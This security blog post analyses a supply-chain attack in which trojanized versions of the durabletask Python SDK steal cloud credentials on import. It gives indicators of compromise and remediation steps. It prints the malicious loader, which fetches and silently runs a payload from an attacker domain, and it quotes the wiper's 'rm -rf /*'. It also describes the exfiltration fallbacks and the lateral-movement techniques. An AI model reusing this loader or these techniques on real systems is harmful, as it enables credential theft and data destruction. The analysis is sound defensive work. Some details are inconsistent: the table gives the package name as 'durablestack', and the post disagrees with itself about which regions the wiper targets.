By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog

Trojanized Microsoft SDK: durabletask 1.4.1 through 1.4.3 Deliver Credential-Stealing Malware

Malicious PyPI package durabletask 1.4.1-1.4.3 steals AWS, Azure, and GCP credentials on import. 417k monthly downloads affected.

Written by
Peyton Kennedy
Peyton Kennedy
Published on
May 19, 2026
Updated on
May 19, 2026

TL;DR

On May 19, 2026, Endor Labs detected three trojanized versions of durabletask, the official Python SDK for Microsoft's Azure Durable Functions. Versions 1.4.1, 1.4.2, and 1.4.3 of durabletask all contain malicious code that runs on import.

Azure Durable Functions is a Microsoft serverless service used to build long-running workflows in the cloud, including business process automation, document pipelines, and AI agent backends. The package is downloaded roughly 417,000 times a month, and the malicious code runs automatically the moment the package is imported, with no error messages and no visible signs of compromise.

Three things stand out about this incident:

  • Three versions were affected. Any Linux system that has upgraded past 1.4.0 is affected.
  • Full credential theft suite. The second-stage payload targets credentials across every major cloud and secrets platform — AWS, Azure, GCP, Kubernetes, HashiCorp Vault, 1Password, and Bitwarden — and exfiltrates them to attacker-controlled infrastructure. 
  • Location-specific actions. On systems it identifies as located in Israel, the payload also attempts to wipe the filesystem. 

Affected versions

Package Name Version Published (UTC)
pypi/durablestack 1.4.1 2026-05-19 16:19
pypi/durablestack 1.4.2 2026-05-19 16:49
pypi/durablestack 1.4.3 2026-05-19 16:54

Technical Analysis

The Injected Code

The malicious block is the same in both files. It sits at the top, before any legitimate package code:

import os
import sys
import platform
import subprocess
import urllib.request

if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service.com/rope.pyz",
            "/tmp/managed.pyz"
        )
        with open(os.devnull, 'w') as f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f, stderr=f, stdin=f,
                start_new_session=True
            )
    except:
        pass

The initial injection is only thirteen lines. The rest of the attack runs through the downloaded payload.

Runs on import

Python runs module-level code the moment a module is imported. This block is at the top level of __init__.py, so it executes as soon as any code does import durabletask. No function call needed, no configuration, nothing. In Azure Functions, the import happens at cold start before any user code runs.

Why both files?

The payload appears in both __init__.py and task.py. If something imports from durabletask.task directly rather than the top-level package, the code in task.py fires on its own. Both common import paths trigger the download.

No trace, no error

Two details in the implementation make this hard to catch at runtime.

start_new_session=True detaches the spawned process from its parent. The payload keeps running even after the Python process that triggered the import exits.

except: pass catches everything without re-raising. If the download fails, if Python is not on the path, if the DNS lookup times out, the package still imports cleanly. No error, no log entry, nothing for a developer to notice.

Linux only

The platform.system() == "Linux" check skips Windows and macOS. CI runners, cloud VMs, containers, and Azure Functions hosts are predominantly Linux. Developer laptops are not targeted, which delays detection since engineers running pip install locally on a Mac see nothing unusual.

The payload domain

The second-stage payload is fetched from check.git-service.com. The domain is built to look like routine git tooling traffic in network logs. The file lands at /tmp/managed.pyz with a filename that does not stand out in a directory listing. The .pyz format is a Python zipapp: the source is not immediately readable and the server-side file can be swapped out at any time without touching the PyPI package.

Second-stage payload (rope.pyz)

rope.pyz is a Python zipapp containing a multi-module malware suite. Based on our payload analysis, it does three things:

Credential collection

Purpose-built collectors target each of the following:

  • AWS: IAM access keys, session tokens, ~/.aws/credentials, environment variables
  • Azure: service principal credentials, ~/.azure/ config, managed identity tokens
  • GCP: service account key files, application default credentials, gcloud config
  • Kubernetes: kubeconfig files, service account tokens from /var/run/secrets/
  • HashiCorp Vault: VAULT_TOKEN and token helper files
  • 1Password: local database and session tokens
  • Bitwarden: local vault files and unlock credentials

Each collector targets the specific paths and formats used by that platform. This is not a generic scraper grabbing environment variables at random. In a typical CI environment, that means deployment keys, cloud role credentials, and pipeline secrets are all in scope.

Exfiltration

Collected credentials are sent to attacker-controlled infrastructure. Tokens, config files, and anything else accessible from the compromised process get shipped off the box using several exfiltration alternative.

Primary exfiltration. After the payload aggregates credentials and secrets from the environment, it tries to ship everything to a fixed HTTPS endpoint baked into its configuration—disguised as an innocuous “public version” API on a domain themed around Git hosting. The stolen data is compressed, encrypted with a random AES-256-GCM key, and that key is wrapped with RSA-OAEP using an operator public key embedded in the binary. The client sends a small JSON body (ciphertext envelope plus encrypted key) in a single POST with Content-Type: application/json. From the victim’s perspective it looks like a routine API call; from the operator’s side, only someone holding the matching private key can recover the plaintext bundle.

Backup mothership from GitHub commits. If that primary POST fails—or if an earlier “health check” style fetch cannot reach the operator’s infrastructure—the malware falls back to a public dead drop on GitHub. It queries the commit search API with q=FIRESCALE (newest commits first, up to 30 results), then parses each matching commit message for a pattern: a base64-encoded URL and a base64-encoded signature separated by a dot. Before trusting any candidate URL, it verifies an RSA-SHA256 signature over the base64 URL string using the same embedded public key used for encrypting exfil data. The first commit message that passes verification becomes the new mothership URL, and the malware retries the identical encrypted POST against that host. That design lets the operator rotate C2 without redeploying the payload: they only need to publish a new signed commit message somewhere searchable on GitHub.

GitHub repository fallback. When both the hardcoded endpoint and the signed-commit resolver fail, the malware pivots to abusing credentials it already collected. It scans the aggregated JSON for GitHub personal access tokens (ghp_… or fine-grained github_pat_… patterns), then uses each token in turn to talk to the official GitHub REST API. For a working token it creates a new public repository with a randomly generated folklore-themed name, uploads a file named results.json containing the same RSA-wrapped, AES-encrypted package (this time as base64 in the GitHub “create file” API), and treats that upload as success. The exfil path is no longer a custom C2 server but the victim’s own GitHub account—turning stolen developer credentials into a last-resort channel that blends into normal GitHub activity and may evade simple domain blocklists aimed only at the primary domain.

Filesystem wiper

The payload includes a module called roulette.py, a wiper that runs only on hosts that fingerprint as Israeli or Iranian (timezone/localtime/LANG/locale checks for those regions) and only when a random roll lands on 2, otherwise proceeds to deploy the persistence payload instead. If the check passes, it runs:

rm -rf /*

That attempts to delete everything on the filesystem. The module name suggests the authors knew the locale check would not be perfect and accepted some risk of triggering it on unintended hosts.

Lateral movement

The second-stage payload includes Python modules for lateral movement to AWS ECS and Kubernetes pods.

On AWS, propagation assumes credentials available from the environment or the EC2 instance metadata role. It flattens discovered SSM-managed instances (each tied to a profile and region), skips the current instance, requires PingStatus Online, ignores Windows PlatformType, and stops after SendCommand succeeds for at most five targets.

Each target receives AWS-RunShellScript via the regional SSM API with a generated bash payload that downloads rope*.pyz from configurable URLs (primary then secondary, see below), runs python3 under nohup, removes the file, and respects a ~/.cache/.sys-update-check marker so the same host does not repeat the bootstrap blindly. The initiating host records propagation state in that marker file with a stable fingerprint derived from machine identifiers.

On Kubernetes, propagation relies on kubectl being present or installed under /tmp, then lists Running pods cluster-wide. For up to five pods it picks the first container name and runs kubectl exec … -- sh -c with a shell script that mirrors the download-and-run pattern. It skips the pod whose name matches the current HOSTNAME, and uses a separate one-shot marker ~/.cache/.sys-update-check-k8s so the workload only drives kubectl exec fan-out once per filesystem view. Success or failure per pod is captured in the propagation.targets structure returned alongside the usual secret-collection results.

Indicators of compromise

Package indicators

Indicator Notes
durabletask==1.4.1 Malicious. Do not install.
durabletask==1.4.2 Malicious. Do not install.
durabletask==1.4.3 Malicious. Do not install.
check.git-service.com Attacker-controlled payload delivery domain (Primary)
t.m-kosche.com Attacker-controlled payload delivery domain (Secondary)
/tmp/managed.pyz Downloaded payload on disk
rope.pyz Payload filename fetched from C2

File indicators

File / Path Notes
/tmp/managed.pyz Presence on disk confirms the payload ran
durabletask/__init__.py Lines 1-13 contain the malicious block in affected versions
durabletask/task.py Lines 17-26 contain the same block in affected versions

Network indicators

Indicator Notes
check.git-service.com Payload delivery. Any connection to this host is malicious.
*.git-service.com Block the full domain. Subdomains may be used for exfiltration.
t.m-kosche.com Payload delivery. Any connection to this host is malicious.
*.m-kosche.com Block the full domain. Subdomains may be used for exfiltration.

Code markers

Marker Notes
check.git-service.com In plaintext in __init__.py and task.py of affected versions
rope.pyz Payload filename, in plaintext in both injected files
/tmp/managed.pyz Destination path, in plaintext in both injected files
start_new_session=True Not normal in any SDK __init__.py

Remediation

Check your exposure

Start by confirming whether you are running an affected version:

pip show durabletask

grep -r 'durabletask' requirements*.txt poetry.lock Pipfile.lock uv.lock 2>/dev/null

ls -la /tmp/managed.pyz 2>/dev/null

You can also scan the installed package files directly:

grep -r 'git-service.com' $(pip show durabletask | grep Location | awk '{print $2}') 2>/dev/null

Check network logs for outbound connections to the C2 domain:

grep 'git-service.com' /var/log/dns* 2>/dev/null

Pin to the clean version:

pip install durabletask==1.4.0

Block the attacker domain at your egress proxy and DNS:

  • check.git-service.com
  • *.git-service.com

Rotate credentials

On any Linux machine that had durabletask>=1.4.1 installed and ran an import, assume the following are compromised:

  • AWS IAM access keys and session tokens. Check CloudTrail for unexpected API calls.
  • Azure service principal credentials and managed identity tokens
  • GCP service account keys. Check audit logs for unexpected activity.
  • Kubernetes service account tokens and kubeconfig credentials
  • HashiCorp Vault tokens
  • 1Password and Bitwarden vault credentials and session tokens
  • SSH private keys on the affected host
  • CI/CD secrets: GitHub Actions secrets, environment variables in pipeline config
  • Any .env file contents the process could read

Longer term

  • Use hash pinning in CI. pip install --require-hashes with a pinned requirements file would have caught this. A hash mismatch fails the build before any code runs.
  • Review __init__.py for network calls. SDKs do not make outbound connections at import time. Any urllib, requests, or subprocess call in a package __init__.py is worth looking at.
  • Watch for unexpected version bumps on critical packages. A new version of a Microsoft SDK published outside its normal release cadence is a signal worth chasing. Endor Labs flagged this within the publish window.
  • Scope CI permissions tightly. The credential harvesting here only pays off if those credentials exist on the build machine. Restricting what CI runners can access limits what an attacker gets.